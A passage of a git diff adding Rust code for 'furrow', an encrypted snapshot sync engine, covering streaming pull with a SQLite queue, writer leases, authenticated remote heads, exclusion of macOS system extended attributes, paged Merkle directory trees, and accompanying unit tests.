journal_mode=OFF; + PRAGMA synchronous=OFF; + CREATE TABLE queue( + id BLOB PRIMARY KEY, + kind INTEGER NOT NULL, + processed INTEGER NOT NULL DEFAULT 0 + ) WITHOUT ROWID; + CREATE INDEX queue_pending ON queue(processed, id); + BEGIN;", + )?; + enqueue(&queue, &head.snapshot, ObjectKind::Snapshot)?; + let mut pull = StreamingPull { + store, + remote, + crypto, + head, + _queue_file: queue_file, + queue, + fetched_objects: 0, + reused_objects: 0, + fetched_bytes: 0, + materialized_files: 0, + connect_auth_ms, + connection_reused, + negotiate_ms, + total_started, + stream_started, + }; + pull.fetch_skeleton()?; + Ok(pull) + } + + pub(crate) fn snapshot(&self) -> ObjectId { + self.head.snapshot + } + + pub(crate) fn base_root(&self) -> Option { + self.head.base_root + } + + /// Record that a file backed by the given blob has been written to the + /// workspace, advancing the materialized-files progress counter. + pub(crate) fn note_materialized(&mut self) { + self.materialized_files += 1; + } + + /// Fetch the blob object and its chunk subgraph in deterministic tree + /// order, leaving them durable in the store so the file can be written. + pub(crate) fn fetch_file(&mut self, blob: ObjectId) -> anyhow::Result<()> { + self.fetch_pending(&[(blob, ObjectKind::Blob)])?; + let blob_value: Blob = self.store.read_struct(&blob, ObjectKind::Blob)?; + let chunks: Vec<(ObjectId, ObjectKind)> = blob_value + .chunks + .iter() + .map(|chunk| (chunk.id, ObjectKind::Chunk)) + .collect(); + self.fetch_pending(&chunks) + } + + /// Fetch a single leaf object (e.g. a file's extended attributes) that + /// materialization needs before the whole graph is drained. + pub(crate) fn fetch_object(&mut self, id: ObjectId, kind: ObjectKind) -> anyhow::Result<()> { + self.fetch_pending(&[(id, kind)]) + } + + /// Fetch every object the plan-driven file fetches did not cover, then + /// prove the assembled remote root exactly like [`pull_on`]. + pub(crate) fn finish(mut self) -> anyhow::Result { + loop { + let batch = next_batch(&self.queue, PULL_BATCH)?; + if batch.is_empty() { + break; + } + self.fetch_batch(batch)?; + } + self.queue.execute_batch("COMMIT;")?; + // Existing objects are trusted only because the local completeness gate + // made them visible. A final traversal proves the assembled remote root. + bundle::for_each_reachable(self.store, self.head.snapshot, |_id, _kind, _bytes| Ok(()))?; + let remote_snapshot: Snapshot = self + .store + .read_struct(&self.head.snapshot, ObjectKind::Snapshot)?; + anyhow::ensure!( + remote_snapshot.root_tree == self.head.root, + "authenticated remote head does not match its snapshot root" + ); + let stream_ms = elapsed_ms(self.stream_started); + Ok(PulledHead { + snapshot: self.head.snapshot, + root: self.head.root, + base_root: self.head.base_root, + report: PullReport { + snapshot: hex::encode(self.head.snapshot), + fetched_objects: self.fetched_objects, + reused_objects: self.reused_objects, + fetched_bytes: self.fetched_bytes, + materialized_files: self.materialized_files, + timings: TransportTimings { + connect_auth_ms: self.connect_auth_ms, + negotiate_ms: self.negotiate_ms, + stream_ms, + durability_ms: 0, + notify_ms: None, + total_ms: self + .connect_auth_ms + .saturating_add(elapsed_ms(self.total_started)), + connection_reused: self.connection_reused, + }, + }, + }) + } + + fn fetch_skeleton(&mut self) -> anyhow::Result<()> { + loop { + let batch = next_batch_of_kinds( + &self.queue, + PULL_BATCH, + &[ObjectKind::Snapshot, ObjectKind::Tree], + )?; + if batch.is_empty() { + break; + } + self.fetch_batch(batch)?; + } + Ok(()) + } + + fn fetch_pending(&mut self, ids: &[(ObjectId, ObjectKind)]) -> anyhow::Result<()> { + let mut batch = Vec::new(); + for (id, kind) in ids { + match queue_status(&self.queue, id)? { + Some(true) => continue, + Some(false) => batch.push((*id, *kind)), + None => { + enqueue(&self.queue, id, *kind)?; + batch.push((*id, *kind)); + } + } + } + if batch.is_empty() { + return Ok(()); + } + self.fetch_batch(batch) + } + + fn fetch_batch(&mut self, batch: Vec<(ObjectId, ObjectKind)>) -> anyhow::Result<()> { + let mut missing = Vec::new(); + for (id, expected) in batch { + if !self.store.contains_object(&id)? { + missing.push((id, expected)); + continue; + } + self.reused_objects += 1; + let bytes = self.store.read_bytes(&id, expected)?; + process_pulled_object(&self.queue, id, expected, &bytes)?; + } + if missing.is_empty() { + return Ok(()); + } + let requests: Vec<_> = missing + .iter() + .map(|(id, _)| { + ( + remote::object_key(&self.crypto.remote_id(id)), + remote::MAX_OBJECT_BYTES, + ) + }) + .collect(); + // Disjoint field borrows keep the remote transfer and the queue/store + // updates from aliasing while the read callback runs. + let store = self.store; + let crypto = &self.crypto; + let queue = &self.queue; + let fetched_objects = &mut self.fetched_objects; + let fetched_bytes = &mut self.fetched_bytes; + self.remote.read_many(&requests, |index, encrypted| { + let (id, expected) = missing[index]; + let (kind, bytes) = crypto.decrypt_object(&id, &encrypted)?; + anyhow::ensure!(kind == expected, "remote object kind mismatch"); + anyhow::ensure!( + store.put_bytes(kind, &bytes)? == id, + "remote import ID mismatch" + ); + *fetched_objects += 1; + *fetched_bytes += encrypted.len() as u64; + process_pulled_object(queue, id, expected, &bytes) + .with_context(|| format!("import remote object {}", hex::encode(id))) + }) + } +} + +pub fn published_root(config: &PairConfig) -> anyhow::Result> { + let mut remote = open_session(config, None)?; + published_root_on(config, &mut remote) +} + +pub(crate) fn published_root_on( + config: &PairConfig, + remote: &mut Session, +) -> anyhow::Result> { + remote.begin_operation(); + let head_key = remote::head_key(remote.ref_name()); + if !remote.exists(&head_key)? { + return Ok(None); + } + let crypto = RemoteCrypto::new(config.key); + Ok(Some(read_remote_head(remote, config, &crypto)?.root)) +} + +fn elapsed_ms(started: Instant) -> u64 { + started.elapsed().as_millis().try_into().unwrap_or(u64::MAX) +} + +fn prepare_writer_lease( + remote: &mut Session, + config: &PairConfig, + takeover: bool, +) -> anyhow::Result> { + let crypto = RemoteCrypto::new(config.key); + let now = SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs(); + let ref_name = remote.ref_name().map(str::to_owned); + let lease_key = remote::lease_key(ref_name.as_deref()); + let context = lease_context(ref_name.as_deref()); + if remote.exists(&lease_key)? { + let lease = crypto.decrypt_head( + &remote.read(&lease_key, remote::MAX_METADATA_BYTES)?, + context.as_bytes(), + )?; + let mut owner = [0; 16]; + owner.copy_from_slice(&lease[..16]); + let expires = u64::from_le_bytes(lease[16..24].try_into().unwrap()); + anyhow::ensure!( + owner == config.machine_id || expires <= now || takeover, + "another machine holds the writer lease until {expires}; use --takeover only after confirming it is offline" + ); + } + let mut lease = [0; 32]; + lease[..16].copy_from_slice(&config.machine_id); + lease[16..24].copy_from_slice(&(now + LEASE_SECONDS).to_le_bytes()); + crypto.encrypt_head(&lease, context.as_bytes()) +} + +fn head_context(namespace: &str, ref_name: Option<&str>) -> String { + match ref_name { + None => format!("furrow:remote-head:v1:{namespace}"), + Some(name) => format!("furrow:remote-head:v1:{namespace}:ref:{name}"), + } +} + +fn lease_context(ref_name: Option<&str>) -> String { + match ref_name { + None => "furrow:writer-lease:v1".to_owned(), + Some(name) => format!("furrow:writer-lease:v1:ref:{name}"), + } +} + +fn read_remote_head( + remote: &mut Session, + config: &PairConfig, + crypto: &RemoteCrypto, +) -> anyhow::Result { + let ref_name = remote.ref_name().map(str::to_owned); + let head_key = remote::head_key(ref_name.as_deref()); + let encrypted = remote + .read(&head_key, remote::MAX_METADATA_BYTES) + .with_context(|| match &ref_name { + None => "sync remote has no published HEAD".to_owned(), + Some(name) => format!("sync remote has no published ref '{name}'"), + })?; + let head: RemoteHead = serde_json::from_slice(&crypto.decrypt_metadata( + &encrypted, + head_context(&config.namespace, ref_name.as_deref()).as_bytes(), + )?) + .context("decode authenticated remote head")?; + anyhow::ensure!(head.version == 1, "unsupported remote head version"); + Ok(head) +} + +fn parse_key(value: &str) -> anyhow::Result<[u8; 32]> { + let bytes = hex::decode(value).context("sync key must be hexadecimal")?; + anyhow::ensure!(bytes.len() == 32, "sync key must contain 64 hex characters"); + let mut key = [0; 32]; + key.copy_from_slice(&bytes); + Ok(key) +} + +fn storage_namespace(config: &PairConfig) -> &str { + config + .remote_namespace + .as_deref() + .unwrap_or(&config.namespace) +} + +fn opaque_namespace(key: &[u8; 32], namespace: &str) -> String { + let mut hasher = blake3::Hasher::new_keyed(key); + hasher.update(b"furrow remote namespace v1\0"); + hasher.update(namespace.as_bytes()); + hex::encode(&hasher.finalize().as_bytes()[..16]) +} + +fn local_atomic_write(path: &Path, bytes: &[u8]) -> anyhow::Result<()> { + let parent = path.parent().context("sync config has no parent")?; + let mut temporary = tempfile::NamedTempFile::new_in(parent)?; + std::io::Write::write_all(&mut temporary, bytes)?; + temporary.as_file().sync_all()?; + temporary.persist(path).map_err(|error| error.error)?; + fs::File::open(parent)?.sync_all()?; + Ok(()) +} + +fn enqueue(connection: &Connection, id: &ObjectId, kind: ObjectKind) -> anyhow::Result<()> { + connection.execute( + "INSERT OR IGNORE INTO queue(id, kind) VALUES(?1, ?2)", + params![id.as_slice(), kind as u8], + )?; + let actual: u8 = connection.query_row( + "SELECT kind FROM queue WHERE id = ?1", + params![id.as_slice()], + |row| row.get(0), + )?; + anyhow::ensure!( + actual == kind as u8, + "object reached with conflicting kinds" + ); + Ok(()) +} + +fn next_batch( + connection: &Connection, + limit: usize, +) -> anyhow::Result> { + let mut statement = connection + .prepare("SELECT id, kind FROM queue WHERE processed = 0 ORDER BY id LIMIT ?1")?; + let rows = statement.query_map([limit as u64], |row| { + Ok((row.get::<_, Vec>(0)?, row.get::<_, u8>(1)?)) + })?; + rows.map(|row| { + let (bytes, kind) = row?; + anyhow::ensure!(bytes.len() == 32, "invalid queued object ID"); + let mut id = [0; 32]; + id.copy_from_slice(&bytes); + Ok(( + id, + ObjectKind::from_u8(kind).context("invalid queued object kind")?, + )) + }) + .collect() +} + +fn next_batch_of_kinds( + connection: &Connection, + limit: usize, + kinds: &[ObjectKind], +) -> anyhow::Result> { + let placeholders = kinds.iter().map(|_| "?").collect::>().join(", "); + let mut statement = connection.prepare(&format!( + "SELECT id, kind FROM queue WHERE processed = 0 AND kind IN ({placeholders}) ORDER BY id LIMIT ?" + ))?; + let kind_values: Vec = kinds.iter().map(|kind| *kind as u8).collect(); + let limit = limit as u64; + let bindable: Vec<&dyn rusqlite::ToSql> = kind_values + .iter() + .map(|value| value as &dyn rusqlite::ToSql) + .chain(std::iter::once(&limit as &dyn rusqlite::ToSql)) + .collect(); + let rows = statement.query_map(bindable.as_slice(), |row| { + Ok((row.get::<_, Vec>(0)?, row.get::<_, u8>(1)?)) + })?; + rows.map(|row| { + let (bytes, kind) = row?; + anyhow::ensure!(bytes.len() == 32, "invalid queued object ID"); + let mut id = [0; 32]; + id.copy_from_slice(&bytes); + Ok(( + id, + ObjectKind::from_u8(kind).context("invalid queued object kind")?, + )) + }) + .collect() +} + +fn queue_status(connection: &Connection, id: &ObjectId) -> anyhow::Result> { + let processed: Option = connection + .query_row( + "SELECT processed FROM queue WHERE id = ?1", + params![id.as_slice()], + |row| row.get(0), + ) + .optional()?; + Ok(processed.map(|value| value != 0)) +} + +fn process_pulled_object( + connection: &Connection, + id: ObjectId, + expected: ObjectKind, + bytes: &[u8], +) -> anyhow::Result<()> { + for (child, child_kind) in bundle::object_edges(expected, bytes)? { + enqueue(connection, &child, child_kind)?; + } + connection.execute( + "UPDATE queue SET processed = 1 WHERE id = ?1", + params![id.as_slice()], + )?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::model::{Blob, ChunkRef, EntryKind, SealQuality, SnapshotTrigger, Tree, TreeEntry}; + + fn snapshot_fixture(store: &ObjectStore) -> ObjectId { + let chunk = store + .put_bytes(ObjectKind::Chunk, b"resumable remote data") + .unwrap(); + let blob = store + .put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { id: chunk, len: 21 }], + total_len: 21, + }, + ) + .unwrap(); + let tree = store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: b"state.txt".to_vec(), + kind: EntryKind::File, + target: Some(blob), + link_target: Vec::new(), + mode: 0o100644, + size: 21, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + }], + pages: Vec::new(), + }, + ) + .unwrap(); + store + .put_struct( + ObjectKind::Snapshot, + &Snapshot { + root_tree: tree, + parent: None, + merge_parents: Vec::new(), + sealed_at_secs: 0, + sealed_at_nanos: 0, + quality: SealQuality::Quiescent, + trigger: SnapshotTrigger::Manual, + label: None, + sqlite_backups: Vec::new(), + claims: Vec::new(), + excluded_paths: Vec::new(), + hardlinks: Vec::new(), + }, + ) + .unwrap() + } + + fn snapshot_fixture_with_content(store: &ObjectStore, content: &[u8]) -> ObjectId { + let chunk = store.put_bytes(ObjectKind::Chunk, content).unwrap(); + let blob = store + .put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { + id: chunk, + len: content.len() as u32, + }], + total_len: content.len() as u64, + }, + ) + .unwrap(); + let tree = store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: b"state.txt".to_vec(), + kind: EntryKind::File, + target: Some(blob), + link_target: Vec::new(), + mode: 0o100644, + size: content.len() as u64, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + }], + pages: Vec::new(), + }, + ) + .unwrap(); + store + .put_struct( + ObjectKind::Snapshot, + &Snapshot { + root_tree: tree, + parent: None, + merge_parents: Vec::new(), + sealed_at_secs: 0, + sealed_at_nanos: 0, + quality: SealQuality::Quiescent, + trigger: SnapshotTrigger::Manual, + label: None, + sqlite_backups: Vec::new(), + claims: Vec::new(), + excluded_paths: Vec::new(), + hardlinks: Vec::new(), + }, + ) + .unwrap() + } + + #[test] + fn pair_config_is_private_and_lease_rejects_a_second_writer() { + let temporary = tempfile::tempdir().unwrap(); + let config_one = temporary.path().join("one.json"); + let remote = temporary.path().join("remote"); + let first = pair(&config_one, &remote, "project", None).unwrap(); + assert_eq!( + fs::metadata(&config_one).unwrap().permissions().mode() & 0o777, + 0o600 + ); + let first_config = load(&config_one).unwrap(); + let mut first_remote = + Session::open(&first_config.remote, storage_namespace(&first_config)).unwrap(); + first_remote.begin_writer().unwrap(); + let first_lease = prepare_writer_lease(&mut first_remote, &first_config, false).unwrap(); + first_remote.write("LEASE", &first_lease).unwrap(); + drop(first_remote); + + let config_two = temporary.path().join("two.json"); + pair(&config_two, &remote, "project", Some(&first.key_hex)).unwrap(); + let second_config = load(&config_two).unwrap(); + let mut second_remote = + Session::open(&second_config.remote, storage_namespace(&second_config)).unwrap(); + second_remote.begin_writer().unwrap(); + assert!(prepare_writer_lease(&mut second_remote, &second_config, false).is_err()); + drop(second_remote); + let mut takeover_remote = + Session::open(&second_config.remote, storage_namespace(&second_config)).unwrap(); + takeover_remote.begin_writer().unwrap(); + let takeover = prepare_writer_lease(&mut takeover_remote, &second_config, true).unwrap(); + takeover_remote.write("LEASE", &takeover).unwrap(); + } + + #[test] + fn pull_resumes_when_an_existing_snapshot_is_missing_descendants() { + let temporary = tempfile::tempdir().unwrap(); + let source = ObjectStore::open(temporary.path().join("source-store")).unwrap(); + let snapshot = snapshot_fixture(&source); + let config_path = temporary.path().join("pair.json"); + let remote = temporary.path().join("remote"); + pair(&config_path, &remote, "project", None).unwrap(); + let config = load(&config_path).unwrap(); + push(&source, snapshot, &config, None, false).unwrap(); + + let destination = ObjectStore::open(temporary.path().join("destination-store")).unwrap(); + let snapshot_bytes = source.read_bytes(&snapshot, ObjectKind::Snapshot).unwrap(); + assert_eq!( + destination + .put_bytes(ObjectKind::Snapshot, &snapshot_bytes) + .unwrap(), + snapshot + ); + let pulled = pull(&destination, &config).unwrap(); + assert_eq!(pulled.snapshot, snapshot); + assert_eq!(pulled.report.reused_objects, 1); + assert_eq!(pulled.report.fetched_objects, 3); + assert_eq!( + bundle::for_each_reachable(&destination, snapshot, |_, _, _| Ok(())).unwrap(), + 4 + ); + } + + #[test] + fn default_push_uses_the_well_known_head_and_lease_keys() { + let temporary = tempfile::tempdir().unwrap(); + let source = ObjectStore::open(temporary.path().join("source-store")).unwrap(); + let snapshot = snapshot_fixture(&source); + let config_path = temporary.path().join("pair.json"); + let remote = temporary.path().join("remote"); + pair(&config_path, &remote, "project", None).unwrap(); + let config = load(&config_path).unwrap(); + push(&source, snapshot, &config, None, false).unwrap(); + + let namespace_root = remote.join(storage_namespace(&config)); + assert!(namespace_root.join("HEAD").is_file()); + assert!(namespace_root.join("LEASE").is_file()); + assert!(!namespace_root.join("refs").exists()); + } + + #[test] + fn different_refs_on_one_directory_remote_do_not_contend_and_both_heads_are_readable() { + let temporary = tempfile::tempdir().unwrap(); + let remote = temporary.path().join("remote"); + let config_path = temporary.path().join("pair.json"); + pair(&config_path, &remote, "project", None).unwrap(); + let config = load(&config_path).unwrap(); + + // Holding the writer lease on ref "team-a" must not block a + // concurrent writer on ref "team-b" against the same directory + // remote: they use independent lease/lock keys. + let mut lock_a = open_session(&config, Some("team-a")).unwrap(); + lock_a.begin_writer().unwrap(); + let mut lock_b = open_session(&config, Some("team-b")).unwrap(); + lock_b.begin_writer().unwrap(); + // A second writer on the SAME ref is still correctly refused. + let mut lock_a_again = open_session(&config, Some("team-a")).unwrap(); + assert!(lock_a_again.begin_writer().is_err()); + lock_a.end_writer().unwrap(); + lock_b.end_writer().unwrap(); + drop(lock_a); + drop(lock_b); + drop(lock_a_again); + + let store_a = ObjectStore::open(temporary.path().join("store-a")).unwrap(); + let snapshot_a = snapshot_fixture_with_content(&store_a, b"ref team-a state"); + let store_b = ObjectStore::open(temporary.path().join("store-b")).unwrap(); + let snapshot_b = snapshot_fixture_with_content(&store_b, b"ref team-b state"); + + let mut push_a = open_session(&config, Some("team-a")).unwrap(); + push_on(&store_a, snapshot_a, &config, None, false, &mut push_a).unwrap(); + let mut push_b = open_session(&config, Some("team-b")).unwrap(); + push_on(&store_b, snapshot_b, &config, None, false, &mut push_b).unwrap(); + + // The default, ref-less HEAD/LEASE remain untouched by either push. + assert_eq!(published_root(&config).unwrap(), None); + + let mut check_a = open_session(&config, Some("team-a")).unwrap(); + let root_a = published_root_on(&config, &mut check_a).unwrap().unwrap(); + let mut check_b = open_session(&config, Some("team-b")).unwrap(); + let root_b = published_root_on(&config, &mut check_b).unwrap().unwrap(); + assert_ne!(root_a, root_b); + + let destination_a = ObjectStore::open(temporary.path().join("dest-a")).unwrap(); + let mut pull_a = open_session(&config, Some("team-a")).unwrap(); + let pulled_a = pull_on(&destination_a, &config, &mut pull_a).unwrap(); + assert_eq!(pulled_a.snapshot, snapshot_a); + + let destination_b = ObjectStore::open(temporary.path().join("dest-b")).unwrap(); + let mut pull_b = open_session(&config, Some("team-b")).unwrap(); + let pulled_b = pull_on(&destination_b, &config, &mut pull_b).unwrap(); + assert_eq!(pulled_b.snapshot, snapshot_b); + } + + #[test] + fn pulling_a_nonexistent_ref_fails_with_a_clear_error() { + let temporary = tempfile::tempdir().unwrap(); + let remote = temporary.path().join("remote"); + let config_path = temporary.path().join("pair.json"); + pair(&config_path, &remote, "project", None).unwrap(); + let config = load(&config_path).unwrap(); + + let destination = ObjectStore::open(temporary.path().join("dest")).unwrap(); + let mut session = open_session(&config, Some("does-not-exist")).unwrap(); + let error = pull_on(&destination, &config, &mut session).unwrap_err(); + let message = format!("{error:#}"); + assert!( + message.contains("does-not-exist"), + "unexpected error: {message}" + ); + } + + #[test] + fn invalid_ref_names_are_rejected_before_connecting() { + let temporary = tempfile::tempdir().unwrap(); + let remote = temporary.path().join("remote"); + let config_path = temporary.path().join("pair.json"); + pair(&config_path, &remote, "project", None).unwrap(); + let config = load(&config_path).unwrap(); + assert!(open_session(&config, Some("../escape")).is_err()); + assert!(open_session(&config, Some("")).is_err()); + } +} diff --git a/engine/furrow-core/src/system_attrs.rs b/engine/furrow-core/src/system_attrs.rs new file mode 100644 index 0000000000..96b444d48c --- /dev/null +++ b/engine/furrow-core/src/system_attrs.rs @@ -0,0 +1,57 @@ +//! Extended attributes the operating system keeps for itself. +//! +//! macOS stamps a provenance attribute on every file a process creates, and +//! adds quarantine, access-list and Spotlight attributes by itself, none of +//! which a person edits and none of which can be removed. A tree sealed on +//! another machine lacks them, so counting them as content made every file of +//! a Mac tree differ from the head it was restored from, and every take +//! rewrote the whole tree. They are left out of what is captured and what is +//! restored, so the same content gives the same tree on every platform. + +use std::ffi::OsStr; +use std::os::unix::ffi::OsStrExt; + +/// Whole names the system manages. +const MANAGED_NAMES: [&[u8]; 4] = [ + b"com.apple.provenance", + b"com.apple.quarantine", + b"com.apple.macl", + b"com.apple.lastuseddate#PS", +]; + +/// Name prefixes of attribute families the system manages. +const MANAGED_PREFIXES: [&[u8]; 2] = [b"com.apple.metadata:", b"com.apple.diskimages."]; + +/// True for an attribute that belongs to the system and so is not content. +pub fn is_system_managed(name: &OsStr) -> bool { + let name = name.as_bytes(); + MANAGED_NAMES.contains(&name) + || MANAGED_PREFIXES + .iter() + .any(|prefix| name.starts_with(prefix)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_attributes_macos_adds_by_itself_are_not_content() { + for name in [ + "com.apple.provenance", + "com.apple.quarantine", + "com.apple.macl", + "com.apple.lastuseddate#PS", + "com.apple.metadata:kMDItemWhereFroms", + ] { + assert!(is_system_managed(OsStr::new(name)), "{name}"); + } + } + + #[test] + fn the_attributes_a_person_or_tool_sets_are_content() { + for name in ["user.comment", "com.apple.FinderInfo", "security.selinux"] { + assert!(!is_system_managed(OsStr::new(name)), "{name}"); + } + } +} diff --git a/engine/furrow-core/src/tree.rs b/engine/furrow-core/src/tree.rs new file mode 100644 index 0000000000..24d8aa87c5 --- /dev/null +++ b/engine/furrow-core/src/tree.rs @@ -0,0 +1,449 @@ +//! Bounded Merkle pages for directories, including very large flat trees. + +use crate::model::{ObjectId, ObjectKind, Tree, TreeEntry, TreePage}; +use crate::store::ObjectStore; +use anyhow::Context; + +/// Leaves and branches stay comfortably below the pack object's global limit. +pub const MAX_TREE_PAGE_BYTES: usize = 64 * 1024; +const LEAF_OVERHEAD: usize = b"{\"entries\":[]}".len(); +const BRANCH_OVERHEAD: usize = b"{\"pages\":[]}".len(); + +pub fn write(store: &ObjectStore, entries: Vec) -> anyhow::Result { + let mut builder = Builder::new(store); + for entry in entries { + builder.push(entry)?; + } + builder.finish() +} + +pub struct Builder<'a> { + store: &'a ObjectStore, + page: Vec, + page_bytes: usize, + leaves: Vec, +} + +impl<'a> Builder<'a> { + pub fn new(store: &'a ObjectStore) -> Self { + Self { + store, + page: Vec::new(), + page_bytes: LEAF_OVERHEAD, + leaves: Vec::new(), + } + } + + pub fn push(&mut self, entry: TreeEntry) -> anyhow::Result<()> { + if let Some(previous) = self.page.last() { + anyhow::ensure!( + previous.name < entry.name, + "directory entries must be strictly sorted and unique" + ); + } else if let Some(previous) = self.leaves.last() { + anyhow::ensure!( + previous.last_name < entry.name, + "directory entries must be strictly sorted and unique" + ); + } + let item_bytes = serde_json::to_vec(&entry)?.len(); + let separator = usize::from(!self.page.is_empty()); + if self.page_bytes + separator + item_bytes > MAX_TREE_PAGE_BYTES && !self.page.is_empty() { + self.flush_leaf()?; + } + let separator = usize::from(!self.page.is_empty()); + anyhow::ensure!( + self.page_bytes + separator + item_bytes <= MAX_TREE_PAGE_BYTES, + "single directory entry exceeds 64 KiB" + ); + self.page_bytes += separator + item_bytes; + self.page.push(entry); + Ok(()) + } + + pub fn finish(mut self) -> anyhow::Result { + if !self.page.is_empty() { + self.flush_leaf()?; + } + if self.leaves.is_empty() { + return self.store.put_struct( + ObjectKind::Tree, + &Tree { + entries: Vec::new(), + pages: Vec::new(), + }, + ); + } + if self.leaves.len() == 1 { + return Ok(self.leaves[0].target); + } + let mut level = self.leaves; + while level.len() > 1 { + level = write_branch_level(self.store, level)?; + } + Ok(level[0].target) + } + + fn flush_leaf(&mut self) -> anyhow::Result<()> { + let entries = std::mem::take(&mut self.page); + self.leaves.push(store_leaf(self.store, entries)?); + self.page_bytes = LEAF_OVERHEAD; + Ok(()) + } +} + +/// Visits directory entries in bytewise name order while retaining at most one +/// decoded 64 KiB page per tree level. +pub fn for_each_entry(store: &ObjectStore, root: &ObjectId, mut visitor: F) -> anyhow::Result<()> +where + F: FnMut(TreeEntry) -> anyhow::Result<()>, +{ + let mut entries = Entries::new(store, root); + while let Some(entry) = entries.next_entry()? { + visitor(entry)?; + } + Ok(()) +} + +pub fn find_entry( + store: &ObjectStore, + root: &ObjectId, + name: &[u8], +) -> anyhow::Result> { + let mut current = *root; + loop { + let tree = read_node(store, ¤t)?; + if tree.pages.is_empty() { + return Ok(tree + .entries + .binary_search_by(|entry| entry.name.as_slice().cmp(name)) + .ok() + .map(|index| tree.entries[index].clone())); + } + let Some(page) = tree + .pages + .iter() + .find(|page| page.first_name.as_slice() <= name && name <= page.last_name.as_slice()) + else { + return Ok(None); + }; + current = page.target; + } +} + +/// Look up a repository-relative byte path without flattening any directory. +pub fn find_path( + store: &ObjectStore, + root: &ObjectId, + path: &[u8], +) -> anyhow::Result> { + if path.is_empty() { + return Ok(None); + } + let mut tree = *root; + let mut components = path.split(|byte| *byte == b'/').peekable(); + while let Some(component) = components.next() { + anyhow::ensure!( + !component.is_empty(), + "tree path contains an empty component" + ); + let Some(entry) = find_entry(store, &tree, component)? else { + return Ok(None); + }; + if components.peek().is_none() { + return Ok(Some(entry)); + } + if entry.kind != crate::model::EntryKind::Directory { + return Ok(None); + } + tree = entry.target.context("directory entry has no tree target")?; + } + Ok(None) +} + +pub fn diff_entries( + store: &ObjectStore, + left: &ObjectId, + right: &ObjectId, + visitor: &mut F, +) -> anyhow::Result<()> +where + F: FnMut(Option, Option) -> anyhow::Result<()>, +{ + if left == right { + return Ok(()); + } + let left_node = read_node(store, left)?; + let right_node = read_node(store, right)?; + let aligned_branches = !left_node.pages.is_empty() + && left_node.pages.len() == right_node.pages.len() + && left_node + .pages + .iter() + .zip(&right_node.pages) + .all(|(left, right)| { + left.first_name == right.first_name && left.last_name == right.last_name + }); + if aligned_branches { + for (left, right) in left_node.pages.iter().zip(&right_node.pages) { + diff_entries(store, &left.target, &right.target, visitor)?; + } + return Ok(()); + } + + let mut left_entries = Entries::new(store, left); + let mut right_entries = Entries::new(store, right); + let mut left_entry = left_entries.next_entry()?; + let mut right_entry = right_entries.next_entry()?; + while left_entry.is_some() || right_entry.is_some() { + match (&left_entry, &right_entry) { + (Some(left), Some(right)) if left.name == right.name => { + if left != right { + visitor(left_entry.take(), right_entry.take())?; + } else { + left_entry.take(); + right_entry.take(); + } + left_entry = left_entries.next_entry()?; + right_entry = right_entries.next_entry()?; + } + (Some(left), Some(right)) if left.name < right.name => { + visitor(left_entry.take(), None)?; + left_entry = left_entries.next_entry()?; + } + (Some(_), Some(_)) => { + visitor(None, right_entry.take())?; + right_entry = right_entries.next_entry()?; + } + (Some(_), None) => { + visitor(left_entry.take(), None)?; + left_entry = left_entries.next_entry()?; + } + (None, Some(_)) => { + visitor(None, right_entry.take())?; + right_entry = right_entries.next_entry()?; + } + (None, None) => break, + } + } + Ok(()) +} + +struct Entries<'a> { + store: &'a ObjectStore, + stack: Vec, +} + +enum EntryFrame { + Node(ObjectId), + Leaf(std::vec::IntoIter), +} + +impl<'a> Entries<'a> { + fn new(store: &'a ObjectStore, root: &ObjectId) -> Self { + Self { + store, + stack: vec![EntryFrame::Node(*root)], + } + } + + fn next_entry(&mut self) -> anyhow::Result> { + loop { + let Some(frame) = self.stack.pop() else { + return Ok(None); + }; + match frame { + EntryFrame::Node(id) => { + let tree = read_node(self.store, &id)?; + if tree.pages.is_empty() { + self.stack.push(EntryFrame::Leaf(tree.entries.into_iter())); + } else { + self.stack.extend( + tree.pages + .into_iter() + .rev() + .map(|page| EntryFrame::Node(page.target)), + ); + } + } + EntryFrame::Leaf(mut entries) => { + let next = entries.next(); + if next.is_some() { + self.stack.push(EntryFrame::Leaf(entries)); + return Ok(next); + } + } + } + } + } +} + +fn read_node(store: &ObjectStore, id: &ObjectId) -> anyhow::Result { + let tree: Tree = store.read_struct(id, ObjectKind::Tree)?; + anyhow::ensure!( + tree.entries.is_empty() || tree.pages.is_empty(), + "tree node mixes leaf entries and branch pages" + ); + Ok(tree) +} + +fn write_branch_level(store: &ObjectStore, pages: Vec) -> anyhow::Result> { + let mut output = Vec::new(); + let mut branch = Vec::new(); + let mut encoded_bytes = BRANCH_OVERHEAD; + for page in pages { + let item_bytes = serde_json::to_vec(&page)?.len(); + let separator = usize::from(!branch.is_empty()); + if encoded_bytes + separator + item_bytes > MAX_TREE_PAGE_BYTES && !branch.is_empty() { + output.push(store_branch(store, branch)?); + branch = Vec::new(); + encoded_bytes = BRANCH_OVERHEAD; + } + let separator = usize::from(!branch.is_empty()); + anyhow::ensure!( + encoded_bytes + separator + item_bytes <= MAX_TREE_PAGE_BYTES, + "single tree page reference exceeds 64 KiB" + ); + encoded_bytes += separator + item_bytes; + branch.push(page); + } + if !branch.is_empty() { + output.push(store_branch(store, branch)?); + } + Ok(output) +} + +fn store_leaf(store: &ObjectStore, entries: Vec) -> anyhow::Result { + let first_name = entries.first().context("empty tree leaf")?.name.clone(); + let last_name = entries.last().context("empty tree leaf")?.name.clone(); + let entry_count = entries.len() as u64; + let tree = Tree { + entries, + pages: Vec::new(), + }; + anyhow::ensure!( + serde_json::to_vec(&tree)?.len() <= MAX_TREE_PAGE_BYTES, + "tree leaf exceeded page limit" + ); + let target = store.put_struct(ObjectKind::Tree, &tree)?; + Ok(TreePage { + first_name, + last_name, + entry_count, + target, + }) +} + +fn store_branch(store: &ObjectStore, pages: Vec) -> anyhow::Result { + let first_name = pages + .first() + .context("empty tree branch")? + .first_name + .clone(); + let last_name = pages.last().context("empty tree branch")?.last_name.clone(); + let entry_count = pages.iter().map(|page| page.entry_count).sum(); + let tree = Tree { + entries: Vec::new(), + pages, + }; + anyhow::ensure!( + 